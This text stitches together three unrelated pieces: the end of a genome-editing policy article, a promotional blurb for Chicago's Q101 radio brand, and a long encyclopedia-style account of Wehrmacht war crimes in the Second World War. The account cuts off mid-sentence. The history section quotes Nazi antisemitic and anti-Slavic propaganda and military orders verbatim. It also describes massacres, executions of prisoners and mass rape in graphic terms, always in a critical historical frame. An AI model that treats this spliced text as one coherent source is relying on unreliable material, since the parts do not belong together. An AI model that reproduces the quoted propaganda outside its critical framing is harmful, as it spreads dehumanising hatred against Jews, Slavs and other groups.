agreed-upon standards internationally.  Perry: It's a matter of trust, and it's not clear to me whether the foundations for such trust exist. The UK and possibly other countries may benefit from a 'go-to' source of disinterested and reliable information, for example, communicating advances in the genome engineering toolkit, identifying benefits to humans and animals (veterinary medicine), defining fully and partially prescriptive genome editing and explaining the law. It would seek [to] neutralize disinformation and help manage public expectations regarding safety, indicate realistic time-frames and explain the need for animal experimentation. It might address minimum standards to prevent corner-cutting experimentally or in clinical trials, how nonediting technologies (especially whole-genome sequencing) will be reckoned and whether there is a meaningful distinction between, say, single-gene heritable disease 'correction' and IQ 'correction'. If this could be done internationally, all the better.  IVF, in vitro fertilization; ES, embryonic stem; GMOs, genetically modified organisms; NHEJ, nonhomologous end joining; HDR, homology-directed repair; ZFNs, zinc finger nucleases; TALENs, transcription activator–like effector nucleases; ICSI, intracytoplasmic sperm injection UNESCO, United Nations Educational, Scientific and Cultural Organization; FDA, US Food and Drug Administration.  Supplementary information PDF files 1. Supplementary Text and Figures Supplementary Comments  Rights and permissions To obtain permission to re-use content from this article visit RightsLink.
-Formerly broadcast on Chicago's 101.1 FM — The Q101 brand is the Bat Signal to Gen X, Gen Y and Millennials. When Q101 is seen and heard in Chicago, people recognize it. Q101 is a warm blanket, a plate of comfort food, or a phone call with a close friend. In an era of over connections, too many social networks, lots of hype, and lots more sizzle than steak…Q101 has managed to mean something to millions of Gen X, Gen Y, and Millennials who don’t believe in much, and even more who want to believe in something. Cookie cutter radio stations all but killed the sort of movement that is Q101. Throughout the various trends and fads, Q101 survived and stayed relevant to it’s core audience over two decades. Kiss, Star, Edge, Jack, Buzz, Rock…and now Pandora are all time fillers with nothing that sticks and no longer term connection. They’re great for entertainment in the moment mind you, but no one waits on hold for hours in hopes of winning a Pandora T-Shirt. Pandora like many cookie cutter radio stations is a faceless jukebox void of personal connection. Advertisers who want to sell more products need more than exposures to build businesses and brands. Advertisers want audiences who are connected. Spotify, Pandora, and all the other services are fashion. Q101 is the steward of a generation.
-[1][2] A woman weeps during the deportation of Jews from Ioannina in Greece on 25 March 1944. The deportation was enforced by the German Army . Almost all the deportees were murdered on or shortly after 11 April 1944, when the train carrying them reached Auschwitz-Birkenau  During World War II, the German combined armed forces (Heer, Kriegsmarine and Luftwaffe) committed systematic crimes, including massacres, rape, looting, the exploitation of forced labor, the murder of three million Soviet prisoners of war, and participated in the extermination of Jews. While the Nazi Party's own SS forces (in particular the SS-Totenkopfverbände, Einsatzgruppen and Waffen-SS) of Nazi Germany was the organization most responsible for the genocidal killing of the Holocaust, the regular armed forces represented by the Wehrmacht committed war crimes of their own, particularly on the Eastern Front in the war against the Soviet Union.  The Nuremberg Trials at the end of World War II initially considered whether the Wehrmacht high command structure should be tried. However, the Oberkommando der Wehrmacht (OKW - High Command of the Armed Forces) was judged not to be a criminal organization under the legal grounds that because of very poor co-ordination between the German Army, Navy and Air Force high commands, which operated as more or less separate entities during the war, the OKW did not constitute an "organization" as defined by Article 9 of the constitution of the International Military Tribunal (IMT) which conducted the Nuremberg trials.[3] This matter of legal definition has been misconstrued by German World War II veterans and others to mean that the IMT ruled that the OKW was not a "criminal organization" because the Wehrmacht committed no war crimes.[3]  Before the war [ edit ]  Prior to the developments of the Second World War there was a history of the German Army committing violent acts against civilians in previous conflicts.[4] During a rebellion by the Herero and Nama natives of a German African Colony in 1904, the German Army was tasked to quell the uprising. General Lothar von Trotha, the commander tasked with eliminating the uprising, remarked "against 'nonhumans' one cannot conduct war "humanely'".[5] This conflict resulted in the death of 66-75 percent of the entire native Herero population and 50 percent of the Nama population. By contrast, the German army lost only 676 soldiers in combat over the course of the conflict.[6] Additionally, the Zabern Affair was an incident which showed the German military's indifferent attitude and eventual extrajudicial and illegal activity when individual soldiers were known to have committed violent acts against civilians.  During the First World War, the pattern of civilian brutality continued.[7] During the German invasion of Belgium in 1914, the Germans were recorded to have deliberately killed 6,427 Belgian and French civilians.[8] These attacks were in response to a perceived resistance from the civilian population.[9] However, it has since been shown that there was in fact no significant resistance from the population that would have warranted these levels of civilian casualties.[9] In August 1914 during the German attack on Russia, the German army burned, pillaged and murdered many inhabitants of the Polish city of Kalisz (Destruction of Kalisz).[10]  When the National Socialists (Nazis) came to power, it was welcomed by almost the entire officer corps of the Reichswehr as a way of creating the Wiederwehrhaftmachung (remilitarization) of Germany, namely the total militarization of German society in order to ensure that Germany did not lose the next war.[11] As such, what both the Nazis and the German Army wanted to see was a totally militarized Volksgemeinschaft that would be purged of those perceived internal enemies like the Jews who it was believed had "stabbed Germany in the back" in 1918.[12]  Many officers therefore willingly embraced National Socialist ideology in the 1930s. Acting on his own initiative, the Defence Minister Werner von Blomberg had purged the Army of all its Jewish personnel in February 1934.[12] On December 8, 1938, the Army leadership had instructed all officers to be thoroughly well versed in National Socialism and to apply its values in all situations. Starting in February 1939, pamphlets were issued that were made required reading in the Army.[13] The content can be gauged by the titles: "The Officer and Politics", "Hitler's World Historical Mission", "The Army in the Third Reich", "The Battle for German Living Space", "Hands off Danzig!", and "The Final Solution of the Jewish Question in the Third Reich". In the last essay, the author, C.A. Holberg wrote:  The defensive battle against Jewry will continue, even if the last Jew has left Germany. Two big and important tasks remain: 1) the eradication of all Jewish influence, above all in the economy and in culture; 2) the battle against World Jewry, which tries to incite all people in the world against Germany.  Attitudes like the ones expressed above colored all the instructions that came to Wehrmacht troops in the summer of 1939 as a way of preparing for the attack on Poland.[13]  Wehrmacht Rulings [ edit ]  Commissar Order [ edit ]  The order cast the war against the Soviet Union as one of ideological and racial differences, and it provided for the immediate liquidation of political commissars in the Red Army.[14] The order was formulated on Hitler's behalf in 1941 by the Wehrmacht command and distributed to field commanders.[15] General Franz Halder, contrary to what he claimed after the war, did not oppose the Commissar Order,[citation needed] and instead welcomed it writing that "Troops must participate in the ideological battle in the Eastern campaign to the end".[15] The enforcement of the Commissar Order led to thousands of executions. The German historian Jürgen Förster was to write in 1989 that it was simply not true as most German Army commanders claimed in their memoirs and some German historians like Ernst Nolte were still claiming that the Commissar Order was not enforced.[15]  On 17 July 1941 the OKW declared that the Wehrmacht was to:  [F]ree itself from all elements among the prisoners of war considered Bolshevik driving forces. The special situation of the Eastern Campaign therefore demands special measures [an euphemism for killing] which are to be carried out free from bureaucratic and administrative influence and with a willingness to accept responsibility. While so far the regulations and orders concerning prisoners of war were based solely on military considerations, now the political objective must be attained, which is to protect the German nation from Bolshevik inciters and forthwith take the occupied territory strictly in hand.[16]  As such, all Soviet POWs considered to be commissars together with all Jewish POWs were to be handed over to the Einsatzgruppen to be shot.[16] The OKW attached great importance to the killings of POWs believed to be commissars as it was believed that if the captured commissars reached POW camps in Germany that they would stage another German Stab-in-the-back myth (Dolchstoß) like that believed to have caused Germany's defeat in World War I. Between July–October 1941, between 580,000–600,000 POWs in Wehrmacht custody were turned over to the SS to be killed.[16] In September 1941, both Helmuth James von Moltke and Admiral Wilhelm Canaris wrote memos pointing out to the OKW that the order of July 17, 1941 was illegal under international law.[17]  In particular, both Moltke and Admiral Canaris noted that the German claim that Soviet POWs had no rights because the Soviet Union had not ratified the Geneva Convention was invalid as Germany had ratified the Geneva Convention and thus under international law was obliged to provide humane treatment for the POWs in its care. In response, Field-Marshal Wilhelm Keitel wrote: "These scruples accord with the soldierly concepts of a chivalrous war! Here we are concerned with the extermination of an ideology. That is why I approve and defend this measure".[17]  In the summer of 1942, there was an illusory liberalization of the treatment of captured political officers. On 10 June, the Gestapo chief Heinrich Müller issued an order on the segregation of prisoners and ordered that commissars be isolated from the rest of the prisoners and sent to Mauthausen-Gusen concentration camp. However, this did not change the plight of commissars much, as Mauthausen was one of the worst Nazi concentration camps where they usually waited for a slow death. On 20 October 1942, Müller again ordered commissars captured in battle to be shot on the spot. Only those commissars who were identified as deserters were sent to Mauthausen. In the following months reports continued to be filed regarding the executions of Soviet commissars.[18] The last known account of the liquidation of a political officer came from units of Army Group South in July 1943.[18]  Barbarossa Decree [ edit ]  The background behind the Barbarossa Decree was laid out by Hitler during a high level meeting with military officials on 30 March 1941,[18] where he declared that war against Soviet Russia would be a war of extermination, in which both the political and intellectual elites of Russia would be eradicated by German forces, in order to ensure a long-lasting German victory. Hitler underlined that executions would not be a matter for military courts, but for the organised action of the military.[18]  The decree, issued by Field Marshal Keitel a few weeks before Operation Barbarossa, exempted punishable offenses committed by enemy civilians (in Russia) from the jurisdiction of military justice. Suspects were to be brought before an officer who would decide if they were to be shot. Prosecution of offenses against civilians by members of the Wehrmacht was decreed to be "not required" unless necessary for the maintenance of discipline.[citation needed]  The order specified:  "The partisans are to be ruthlessly eliminated in battle or during attempts to escape", and all attacks by the civilian population against Wehrmacht soldiers are to be "suppressed by the army on the spot by using extreme measures, till [the] annihilation of the attackers;  soldiers are to be "suppressed by the army on the spot by using extreme measures, till [the] annihilation of the attackers; "Every officer in the German occupation in the East of the future will be entitled to perform execution(s) without trial, without any formalities, on any person suspected of having a hostile attitude towards the Germans", (the same applied to prisoners of war);  "If you have not managed to identify and punish the perpetrators of anti-German acts, you are allowed to apply the principle of collective responsibility. 'Collective measures' against residents of the area where the attack occurred can then be applied after approval by the battalion commander or higher level of command";  German soldiers who commit crimes against humanity, the USSR and prisoners of war are to be exempted from criminal responsibility, even if they commit acts punishable according to German law.[18][19]  Night and Fog Decree [ edit ]  A commemorative plaque to the French victims at Hinzert concentration camp , using the expressions "Nacht und Nebel" and "NN-Deported"  The Night and Fog Decree, issued by Hitler in 1941 and disseminated along with a directive from Keitel, was operated within the conquered territories in the West (Belgium, France, Luxembourg, Norway, Denmark and the Netherlands). The decree allowed those "endangering German security" to be seized and made to disappear without trace. Keitel's directive stated that "efficient intimidation can only be achieved either by capital punishment or by measures by which the relatives of the criminal and the population do not know his fate."[20]  Guidelines to soldiers [ edit ]  The "Guidelines for the Conduct of the Troops in Russia" issued by the OKW on 19 May 1941 declared "Judeo-Bolshevism" to be the most deadly enemy of the German nation, and that "It is against this destructive ideology and its adherents that Germany is waging war".[21] The guidelines went on to demand "ruthless and vigorous measures against Bolshevik inciters, guerrillas, saboteurs, Jews, and the complete elimination of all active and passive resistance."[21] Influenced by the guidelines, in a directive sent out to the troops under his command, General Erich Hoepner of the Panzer Group 4 stated:  The war against Russia is an important chapter in the German nation's struggle for existence. It is the old battle of the Germanic against the Slavic people, of the defence of European culture against Muscovite-Asiatic inundation and of the repulse of Jewish Bolshevism. The objective of this battle must be the demolition of present-day Russia and must therefore be conducted with unprecedented severity. Every military action must be guided in planning and execution by an iron resolution to exterminate the enemy remorselessly and totally. In particular, no adherents of the contemporary Russian Bolshevik system are to be spared.[22]  In the same spirit, General Müller, who was the Wehrmacht's senior liaison officer for legal matters, in a lecture to military judges on June 11, 1941 advised the judges present that "...in the operation to come, feelings of justice must in certain situations give way to military exigencies and then revert to old habits of warfare ... One of the two adversaries must be finished off. Adherents of the hostile attitude are not to be conserved, but liquidated".[23] General Müller declared that, in the war against the Soviet Union, any Soviet civilian who was felt to be hindering the German war effort was to be regarded as a "guerrilla" and shot on the spot. The Army's Chief of Staff, General Franz Halder, declared in a directive that in the event of guerrilla attacks, German troops were to impose "collective measures of force" by massacring villages.[23]  In November 1935, the psychological war laboratory of the Reich War Ministry submitted a study about how best to undermine Red Army morale should a German-Soviet war break out.[24] Working closely with the émigré Russian Fascist Party based in Harbin, the German psychological warfare unit created a series of pamphlets written in Russian for distribution in the Soviet Union. Much of it was designed to play on Russian anti-Semitism, with one pamphlet calling the "Gentlemen commissars and party functionaries" a group of "mostly filthy Jews". The pamphlet ended with the call for "brother soldiers" of the Red Army to rise up and kill all of the "Jewish commissars".[25]  Although this material was not used at the time, later in 1941 the material the psychological war laboratory had developed in 1935 was dusted off, and served as the basis not only for propaganda in the Soviet Union but also for propaganda within the German Army.[26] Before Barbarossa, German troops were exposed to violent anti-Semitic and anti-Slavic indoctrination via movies, radio, lectures, books and leaflets.[27] The lectures were delivered by "National Socialist Leadership Officers", who were created for that purpose, and by their junior officers.[27] German Army propaganda portrayed the Soviet enemy in the most dehumanized terms, depicting the Red Army as a force of Slavic Untermenschen (sub-humans) and "Asiatic" savages engaging in "barbaric Asiatic fighting methods" commanded by evil Jewish commissars to whom German troops were to grant no mercy.[28]  Typical of the German Army propaganda was the following passage from a pamphlet issued in June 1941:  Anyone who has ever looked into the face of a Red commissar knows what the Bolsheviks are. There is no need here for theoretical reflections. It would be an insult to animals if one were to call the features of these, largely Jewish, tormentors of people beasts. They are the embodiment of the infernal, of the personified insane hatred of everything that is noble in humanity. In the shape of these commissars we witness the revolt of the subhuman against noble blood. The masses whom they are driving to their deaths with every means of icy terror and lunatic incitement would have brought about an end of all meaningful life, had the incursion not been prevented at the last moment;" [the last statement is a reference to the "preventive war" that Barbarossa was alleged to be].[26]  German Army propaganda often gave extracts in newsletters concerning the missions for German troops in the East:  It is necessary to eliminate the red sub-humans, along with their Kremlin dictators. German people will have a great task to perform the most in its history, and the world will hear more about that this task will be completed till the end.[29]  As a result of this sort of propaganda, the majority of the Wehrmacht Heer officers and soldiers tended to regard the war in Nazi terms, seeing their Soviet opponents as so much sub-human trash deserving to be trampled upon.[26] One German soldier wrote home to his father on 4 August 1941 that:  The pitiful hordes on the other side are nothing but felons who are driven by alcohol and the [commissars'] threat of pistols at their heads ... They are nothing but a bunch of assholes! ... Having encountered these Bolshevik hordes and having seen how they live has made a lasting impression on me. Everyone, even the last doubter, knows today that the battle against these sub-humans, who've been whipped into a frenzy by the Jews, was not only necessary but came in the nick of time. Our Führer has saved Europe from certain chaos.[26]  As a result of these views, the majority of the German Army worked enthusiastically with the SS in murdering Jews in the Soviet Union. British historian Richard J. Evans wrote that junior officers tended to be especially zealous National Socialists with a third of them being Nazi Party members in 1941.[27] The Wehrmacht did not just obey Hitler's criminal orders for Barbarossa because of obedience, but rather because they shared Hitler's belief that the Soviet Union was run by Jews, and that it was necessary for Germany to completely destroy "Judeo-Bolshevism".[14] Jürgen Förster[who?] wrote that the majority of Wehrmacht officers sincerely believed that most Red Army commissars were Jews, and that the best way to defeat the Soviet Union was to kill all of the commissars so as to deprive the Russian soldiers of their Jewish leaders.[30]  The order was in line with the interests of the Wehrmacht command, which was eager to secure logistical facilities and routes behind the front line for the divisions on the Eastern Front.[19] On 24 May 1941, Field Marshal Walther von Brauchitsch, the head of the German Army High Command (Oberkommando des Heeres – OKH), slightly modified the assumptions of the "Barbarossa Jurisdiction". His orders were to use the jurisdiction only in cases where the discipline of the army would not suffer.[citation needed]  Contrary to what was claimed after the war, the Wehrmacht generals such as Heinz Guderian, did not intend to mitigate the records of the jurisdiction of an order, or in any way violate Hitler's intentions.[19] His command was intended solely to prevent individual excesses which could damage discipline within army ranks, without changing the extermination intentions of the order.[18] As part of the policy of harshness towards Slavic "sub-humans" and to prevent any tendency towards seeing the enemy as human, German troops were ordered to go out of their way to mistreat women and children in Russia.[31]  In October 1941, the commander of the 12th Infantry Division sent out a directive saying "the carrying of information is mostly done by youngsters in the ages of 11–14" and that "as the Russian is more afraid of the truncheon than of weapons, flogging is the most advisable measure for interrogation".[32] The Nazis at the beginning of the war banned sexual relations between Germans and foreign slave workers.[33] In accordance to these new racial laws issued by the Nazis; in November 1941, the commander of the 18th Panzer Division warned his soldiers not to have sex with "sub-human" Russian women, and ordered that any Russian women found having sex with a German soldier was to be handed over to the SS to be executed at once.[34]  A decree ordered on 20 February 1942 declared that sexual intercourse between a German woman and a Russian worker or prisoner of war would result in the latter being punished by the death penalty.[35] During the war, hundreds of Polish and Russian men were found guilty of "race defilement" for their relations with German women and were executed.[36][37]  Invasion of Poland [ edit ]  Wehrmacht attitudes towards Poles were a combination of contempt, fear, and a belief that violence was the best way to deal with them.[38]  Mass murder of Polish civilians [ edit ]  Wehrmacht units killed thousands of Polish civilians during the September 1939 campaign through executions and the terror bombing of cities. Any act of defiance was met with the most ruthless violence, although the Army leadership did seek to discourage so-called "wild" shootings where Wehrmacht troops would indiscriminately shoot all Poles on their own initiative.[38] Court martial proceedings were begun against some of the junior officers who had led these shootings, but this was nullified on 4 October 1939, when Hitler pardoned all military personnel who had been involved in war crimes in Poland.[38] After the end of hostilities, during the Wehrmacht's administration of Poland, which went on until 25 October 1939, 531 towns and villages were burned; the Wehrmacht carried out 714 mass executions, alongside many incidents of plunder, banditry and murder. Altogether, it is estimated that 16,376 Poles fell victim to these atrocities. Approximately 60% of these crimes were committed by the Wehrmacht.[39] Wehrmacht soldiers frequently engaged in the massacre of Jews on their own, rather than just assisting in rounding them up for the SS.[40][41]  In the summer of 1940, Reinhard Heydrich, the chief of the Reich Main Security Office (including the Gestapo), noted that: "...compared to the crimes, robberies and excesses committed by the army [part of the Wehrmacht], the SS and the police don't look all that bad".[42] Even when the German Army was not involved in war crimes, all of the top military leaders were aware of what was happening in Poland. None objected on moral principles; the few who did object did so due to concerns about discipline.[38] Moreover, the general who objected the loudest to war crimes in Poland, General Johannes von Blaskowitz, was opposed to the Army committing war crimes with the SS, not the idea of atrocities against Poland.[43] The Israeli historian Omer Bartov wrote that Blaskowitiz was actually "legitimizing murder" by expressing approval of SS massacres while demanding that the Army be kept out of the massacres as damaging to discipline. Bartov wrote that once officers and troops saw that murder was "legitimate" in Poland, the effect was that the Army tended to copy the SS.[44]  Deliberate bombing of civilians [ edit ]  In one of the Germany military's first acts of World War II the German air force, the Luftwaffe, bombed the Polish town of Wieluń and later went on to bomb cities across the country, including Warsaw, Frampol and various other cities. Collectively the bombings killed tens of thousands of Polish civilians. However, no positive or specific customary international humanitarian law with respect to aerial warfare existed prior to and during World War II[45] which means that at the time, strategic bombings were not officially war crimes. For this reason, no German officers were prosecuted at the post-World War II Allied war crime trials for aerial raids.[46]  Massacres of Polish POWs [ edit ]  About 300 Polish POWs executed by the soldiers of the German 15th motorized infantry regiment in Ciepielów on September 9, 1939.  Numerous examples exist in which Polish soldiers were killed after capture; for instance, at Śladów, where 252 prisoners of war (POW)s were shot or drowned, at Ciepielów, where some 300 POWs were killed, and at Zambrów, where a further 300 were killed. Polish POWs of Jewish origin were routinely selected and shot on the spot.[47]  The prisoners in the POW camp in Żyrardów, captured after the Battle of the Bzura, were denied any food and starved for ten days.[48] In many cases Polish POWs were burned alive.[40][41][49] Units of the Polish 7th Infantry Division were massacred after being captured in several individual acts of revenge for their resistance in combat. On September 11, Wehrmacht soldiers threw hand grenades into a school building where they kept Polish POWs.[40][41] According to German historian Jochen Böhler, the Wehrmacht mass murdered at least 3,000 Polish POWs during the campaign.[50]  Rape of Poles [ edit ]  There were rapes committed by soldiers of the Wehrmacht forces against Jewish women and girls during the Invasion of Poland.[51] Rapes were also committed against Polish women and girls during mass executions carried out primarily by the Volksdeutscher Selbstschutz, which were accompanied by Wehrmacht soldiers and on territory under the administration of the German military, the rapes were carried out before shooting the female captives.[52]  Only one case of rape was prosecuted by a German court during the military campaign in Poland, the case of gang rape committed by three soldiers against women of the Jewish Kaufmann family in Busko-Zdrój; however, the German judge sentenced the guilty for Rassenschande – shame against the [German] race as defined by the racial policy of Nazi Germany – and not rape.[53]  Widespread plunder and theft [ edit ]  Throughout the campaign Wehrmacht engaged in widespread theft and plunder of Polish citizens' property.[54] Until 3 November 1939 the Wehrmacht sent to the Nazi Germany 10,000 train wagons with stolen property including agricultural machinery, furniture and food.[55][56]  Invasion of Belgium [ edit ]  Between 25–28 May 1940, the Wehrmacht committed several war crimes in and near the small Belgian village of Vinkt. Hostages were taken and used as human shields. As the Belgian Army continued to resist, farms were searched and looted, and more hostages were taken. In all, eighty-six civilians were executed.[57] Besides Vinkt, other massacres and shootings happened with estimates of 600 victims.[58]  Invasion of France [ edit ]  During the rout of the French Army, in June 1940, the Großdeutschland Regiment massacred African soldiers and their White officers it had taken prisoner near the Bois d'Eraine.[59] Ten more Black Frenchmen were murdered near Lyon.[60]  The same month, 9th Infantry Division massacred Black soldiers of the 4th North African Infantry Division they had captured near Erquivillers. A German officer is cited in French reports as explaining "an inferior race does not deserve to do battle with a civilized race such as the Germans."[59]  Invasion of the Soviet Union [ edit ]  Some German officers had considered Communism in the Soviet Union to be a Jewish plot even before the Third Reich. In 1918, Karl von Bothmer, the German Army's plenipotentiary in Moscow called the Bolsheviks "a gang of Jews" and expressed the desire "to see a few hundred of these louts hanging on the Kremlin wall".[61] Evaluations of the Red Army by the visiting Reichswehr officers during the period of German-Soviet co-operation in the 1920s often show anti-Semitism with comments about the "Jewish slyness" of General Lev Snitman or the "Jewish blood" of General Leonid Vajner being very typical.[61]  In 1932, Ewald Banse, a leading German professor and a member of the National Association for the Military Sciences (a group secretly financed by the Reichswehr) wrote in a pamphlet calling for "intellectual world domination" by Germany wrote that the Soviet leadership was mostly Jewish who dominated an apathetic and mindless Russian masses.[62] In 1935, Colonel Carl-Heinrich von Stülpnagel in a report about the military capacity of the Red Army wrote that the commissars were "mostly of the Jewish race".[63]  Security warfare and the Holocaust [ edit ]  Under the guise of "anti-bandit" (Bandenbekämpfung) operations, the Wehrmacht in the Soviet Union massacred Jews. Co-operation with the SS in anti-partisan and anti-Jewish operations was close and intensive.[64] In the spring of 1941, Heydrich and General Eduard Wagner successfully completed negotiations for co-operation between the Einsatzgruppen and the German Army to allow the implementation of "special tasks".[65]  Following the Heydrich-Wagner agreement on 28 April 1941, Field Marshal Walther von Brauchitsch ordered when Operation Barbarossa began that all German Army commanders were to identify and register all Jews in the occupied areas in the Soviet Union at once and to co-operate fully with the Einsatzgruppen. Each Einsatzgruppe, in its area of operations, was under the control of the Higher SS and Police Leaders.[66] In a further agreement between the Army and the SS concluded in May 1941 by General Wagner and Walter Schellenberg, it was agreed that the Einsatzgruppen in front-line areas were to operate under Army command while the Army would provide the Einsatzgruppen with all necessary logistical support.[67]  In August 1941, following the protests by two Lutheran chaplains about the massacre of a group of Jewish women and children at Byelaya Tserkov, General von Reichenau wrote:  The conclusion of the report in question contains the following sentence, "In the case in question, measures against women and children were undertaken which in no way differ from atrocities carried out by the enemy about which the troops are continually being informed".  I have to describe this assessment as incorrect, inappropriate and impertinent in the extreme. Moreover this comment was written in an open communication which passes through many hands. It would have been far better if the report had not been written at all.[68]  One SS man who saw the killings at Byelaya Tserkov described them as follows:  I went to the woods alone. The Wehrmacht had already dug a grave. The children were brought along in a tractor. I had nothing to do with this technical procedure. The Ukrainians were standing around trembling. The children were taken down from the tractor. They were lined up along the top of the grave and shot so that they fell into it. The Ukrainians did not aim at any particular part of the body. They fell into the grave. The wailing was indescribable. I shall never forget the scene throughout my life. I find it very hard to bear. I particularly remember a small fair-haired girl who took me by the hand. She too was shot later ... The grave was near some woods. It was not near the rifle-range. The execution must had taken place in the afternoon at about 3.30 or 4.00. It took place the day after the discussions at the Feldkommandanten...Many children were hit four or five times before they died.[69]  In the summer of 1941, the SS Cavalry Brigade commanded by Hermann Fegelein during the course of "anti-partisan" operations in the Pripyat Marshes killed 699 Red Army soldiers, 1,100 partisans and 14,178 Jews.[64] Before the operation, Fegelein had been ordered to shoot all adult Jews while driving the women and children into the marshes. After the operation, General Max von Schenckendorff, who commanded the Army Group Centre Rear Area ordered on 10 August 1941 that all Wehrmacht security divisions when on anti-partisan duty were to emulate Fegelein's example and organized between 24–26 September 1941 in Mogilev, a joint SS-Police-Wehrmacht seminar on how best to murder Jews.[64] The seminar, which became known as the Mogilev Conference, ended with the 7th Company of Police Battalion 322 of the Order Police shooting 32 Jews at a village called Knjashizy before the assembled officers as an example of how to "screen" the population for partisans.[70] As the war diary of the Battalion 322 read:  The action, first scheduled as a training exercise was carried out under real-life conditions (ernstfallmässig) in the village itself. Strangers, especially partisans could not be found. The screening of the population, however resulted in 13 Jews, 27 Jewish women and 11 Jewish children, of which 13 Jews and 19 Jewish women were shot in co-operation with the Security Service.[70]  Based on what they had learned during the Mogilev Conference, one Wehrmacht officer told his men "Where the partisan is, there is the Jew and where the Jew is, there is the partisan".[70] The 707th Infantry Division of the Wehrmacht put this principle into practice during an "anti-partisan" sweep that saw the division shoot 10,431 people out of the 19,940 it had detained during the sweep while suffering only two dead and five wounded in the process.[71]  In Order No. 24 dated 24 November 1941, the commander of the 707th Division declared:  5. Jews and Gypsies: ... As already has been ordered, the Jews have to vanish from the flat country and the Gypsies have to be annihilated too. The carrying out of larger Jewish actions is not the task of the divisional units. They are carried out by civilian or police authorities, if necessary ordered by the commandant of White Ruthenia, if he has special units at his disposal, or for security reasons and in the case of collective punishments. When smaller or larger groups of Jews are met in the flat country, they can be liquidated by divisional units or be massed in the ghettos near bigger villages designated for that purpose, where they can be handed over to the civilian authority or the SD.[71]  At Mirgorod, the 62nd Infantry Division executed "the entire Jewish population (168 people) for associating with partisans".[72] At Novomoskovsk, the 444th Security Division reported that they had killed "305 bandits, 6 women with rifles (Flintenweiber), 39 prisoners-of-war and 136 Jews".[72] In revenge for a partisan attack that had killed one German soldier, the Ersatz-Brigade 202 "as an act of retaliation shot 20 Jews from the villages of Bobosjanka and Gornostajewka and burnt down 5 Jew-houses".[73] Even more extreme was the case in Serbia, where the majority of the Jews there were murdered by the Wehrmacht, not the SS.[74]  German forces and Ustaše collaborators lead a column of Serbs to the Šabac internment camp during anti-partisan "cleansing" operations.  At Šabac in Dulag 183, a German transit camp for POWs in World War II Serbia, which opened in September 1941 (and closed in September 1944), Partisan POWs and members of their families were held. It is estimated that more than 5,000 persons were executed, not counting Jews and Roma people. "Central European Jewish refugees, mostly Austrians, were shot by troops of predominantly Austrian origin in retaliation for casualties inflicted by Serbian partisans on the German Army". The orders issued by Field Marshal Wilhelm Keitel in September 1941 called for the German Army to shoot 100 Serbs for every German soldier killed by the Serb guerrillas and did not call for Jews to be singled out. Due to rampant anti-Semitism in the German officer corps, Serbian Jews were scapegoated and targeted for mass retaliatory shootings. German historian Jürgen Förster, a leading expert on the subject of Wehrmacht war crimes, argued the Wehrmacht played a key role in the Holocaust and it is wrong to ascribe the Shoah as solely the work of the SS while the Wehrmacht were a more or less passive and disapproving bystander.[74]  The Wehrmacht also worked very closely with the Einsatzgruppen in murdering members of the Jewish population of the Soviet Union. On October 10, 1941 General Walther von Reichenau drafted an order to be read to the troops under his command stating that: "the soldier must achieve full understanding of the necessity for a harsh but just vengeance against Jewish subhumanity."[75] Upon hearing of Reichenau's Severity Order, Field Marshal Gerd von Rundstedt, the commander of Army Group South announced his "complete agreement" with it, and sent out a circular to all of the Army generals under his command urging them to send out their own versions of the Severity Order, which would impress upon the troops the need to exterminate Jews.[76]  Einsatzgruppen murder Jews in Ivanhorod, Ukraine, 1942  General Erich von Manstein, in an order to his troops on 20 November 1941 stated:  Jewry is the middleman between the enemy at our rear and the still fighting remnants of the Red Army and the Red leadership; more than in Europe, it [Jewry] occupies all key posts of the political leadership and administration, of trade and crafts and forms the nucleus for all disquiet and possible revolts. The Jewish-Bolshevist system must be exterminated once and for all.[75]  On 6 July 1941 Einsatzkommando 4b of Einsatzgruppe C – which was operating in Tarnopol at the time – sent a report which noted "Armed forces surprisingly welcome hostility against the Jews".[77] On 8 September 1941 Einsatzgruppe D reported that relations with the German Army were "excellent". Franz Walter Stahlecker of Einsatzgruppe A wrote in September 1941 that Army Group North had been exemplary in co-operating with his men in murdering Jews and that relations with the Fourth Panzer Army commanded by General Erich Hoepner were "very close, almost cordial".[77]  Retreat from France [ edit ]  In September 1944 the garrison of Brest executed civilians and looted and destroyed civilian property during the Battle for Brest. The commander of the garrison, generalleutnant Hermann-Bernhard Ramcke, was convicted of war crimes relating to these actions in 1951.  Rapes [ edit ]  Rapes were allowed in practice by the German military (officially forbidden, however) in eastern and southeastern Europe, while northern and western countries were relatively spared.[78][79] In Occupied Denmark, which initially agreed to collaborate with Nazi Germany, rapes were not widespread, and German officials promised to punish them.[78] By contrast thousands of Soviet female nurses, doctors and field medics fell victim to rape when captured, and were often murdered afterwards.[18]  German soldiers used to brand the bodies of captured partisan women – and other women as well – with the words "Whore for Hitler's troops" and rape them.[80] Following their capture some German soldiers vividly bragged about committing rape and rape-homicide.[81] Susan Brownmiller argues that rape played a pivotal role in Nazi aim to conquer and destroy people they considered inferior, such as Jews, Russians, and Poles.[82] An extensive list of rapes committed by German soldiers was compiled in the so called "Molotov Note" in 1942. Brownmiller points out that Nazis used rape as a weapon of terror.[83]  Examples of mass rapes in Soviet Union committed by German soldiers include:  Smolensk: German command opened a brothel for officers in which hundreds of women and girls were driven by force, often by arms and hair. [84]  Lviv: 32 women working in a garment factory were raped and murdered by German soldiers, in a public park. A priest trying to stop the atrocity was murdered.  Lviv: Germans soldiers raped Jewish girls, who were murdered after getting pregnant.[85] It is estimated that over a million children were born to Russian women, fathered by German soldiers.[86]: 56 [87]  Author Ursula Schele, estimated in the Journal "Zur Debatte um die Ausstellung Vernichtungskrieg. Verbrechen der Wehrmacht 1941-1944" that one in ten women raped by German soldiers would have become pregnant, and therefore it is probable, while not provable, that up to ten million women in the Soviet Union could have been raped by the Wehrmacht.[88]:9  Birgit Beck, in her work Rape: The Military Trials of Sexual Crimes Committed by Soldiers in the Wehrmacht, 1939–1944, describes the leniency in punishing sex crimes by German authorities in the East, at the same time pointing out heavy punishments applied in the West.[89] If a soldier who committed a rape was subsequently convicted by a court-martial, he would usually be sentenced to four years in prison[90] The German penal code was also valid for soldiers in war.[91] However, until 1944 only 5,349 soldiers of the Wehrmacht on all fronts were sentenced because of indecency offence "Sittlichkeitsvergehen" or rape "Notzucht".[92] Historian Mühlhäuser believed that sexual assault was not an exception but common, and that the actual number of rapes committed by German soldiers are without question much greater.[93]  Other sources estimate that rapes of Soviet women by the Wehrmacht range up to 10,000,000 incidents, with between 750,000 and 1,000,000 children being born as a result.[86][87][88][94]  In Soviet Russia rapes were only a concern if they undermined military discipline.[89] Since 1941, rape was theoretically punishable with the death sentence, although rapes were rarely prosecuted in practice and rapes by Germans of non-German women were not taken seriously, nor was it punishable by death, 